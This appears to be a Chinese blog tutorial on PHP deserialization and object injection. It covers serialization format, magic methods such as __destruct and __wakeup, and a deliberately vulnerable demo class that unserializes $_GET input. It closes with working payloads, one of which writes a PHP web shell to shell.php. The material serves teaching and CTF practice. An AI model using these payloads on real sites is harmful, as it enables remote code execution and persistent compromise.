PHP反序列化漏洞/对象注入(知识准备、漏洞成因、攻击方法、示例、CTF例题)

知识准备

在php中与序列化相关的函数为:
serialize()
unserialize()

分别对目标进行序列化、反序列化
序列化产生的字符串形式如下:
例子:

$arr=array();
$arr['name']='张三';
$arr['age']='22';
$arr['sex']='男';
$arr['phone']='123456789';
$arr['address']='上海市浦东新区';
var_dump($arr);
输出:
  array(5) {
  ["name"]=> string(6) "张三"
  ["age"]=> string(2) "22"
  ["sex"]=> string(3) "男"
  ["phone"]=> string(9) "123456789"
  ["address"]=> string(21) "上海市浦东新区"
   }
序列化:
$info=serialize($arr);
var_dump($info);
输出:
string(140) "a:5:{s:4:"name";s:6:"张三";s:3:"age";s:2:"22";s:3:"sex";s:3:"";s:5:"phone";s:9:"123456789";s:7:"address";s:21:"上海市浦东新区";}"
a:5标志序列化为array包含5个键值对,s:4标志内容为字符串包含4个字符。
$zhangsan=unserialize($info);
var_dump($zhangsan);
输出:
array(5) {
["name"]=> string(6) "张三"
["age"]=> string(2) "22"
["sex"]=> string(3) "男"
["phone"]=> string(9) "123456789"
["address"]=> string(21) "上海市浦东新区"
 }

观察序列化后的结果:(用于写payload)
在这里插入图片描述
以三个参数为一组,对于数据本体(蓝色部分),参数分别为s->数据类型(string),9->数据长度,123456789->数据本体。
对于整个序列化字符串也是由三个参数写成的,参数分别为a->序列化类型(array),5->数据长度(共五组数据),{…}->数据本体。
当然,这里数据类型也很有可能发生变化,比如i->int,o->object等等

漏洞成因触发条件

php有一些魔法方法,常见的有:

__construct():
当对象创建(new)时会自动调用。(构造函数)
PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

__destruct():
当对象被销毁时会自动调用。unserialize()会调用(析构函数)
PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__wakeup():
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误。

__call()
在对象上下文中调用不可访问的方法时触发
__callStatic()
在静态上下文中调用不可访问的方法时触发
__get()
用于从不可访问的属性读取数据
__set()
用于将数据写入不可访问的属性
__isset()
在不可访问的属性上调用isset()或empty()触发
__unset()
在不可访问的属性上使用unset()时触发
__toString()
把类当作字符串使用时触发
__invoke()
当脚本尝试将对象调用为函数时触发

与反序列化最相关的当然就是 __destruct(),__wakeup()

此特性自 PHP 7.4.0 起版本中有:
public __serialize(): array
public __unserialize(array $data): void
serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。

注意:

如果类中同时定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用。

注意:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

注意:

此特性自 PHP 7.4.0 起可用。

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

示例

<?php

class demo{
    public $name;
    public $age;

    function __destruct(){
        $a = $this->name;
        $a($this->age);
    }
}

$h = new demo();
echo serialize($h);
unserialize($_GET['h']);

?> 

payload:

payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

传木马
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

当然在实际情况或者CTF中并不会这么简单

CTF例题

很少有ctf会直接考察单独的反序列化漏洞,在下面来查看更多漏洞利用姿势和相关例题

PHP反序列化漏洞-字符逃逸(含例题)

字符逃逸

PHP反序列化漏洞-__wakeup()函数(含例题)

__wakeup()函数

posted @ 2021-08-13 11:42  Sayo-NERV  阅读(87)  评论(0编辑  收藏  举报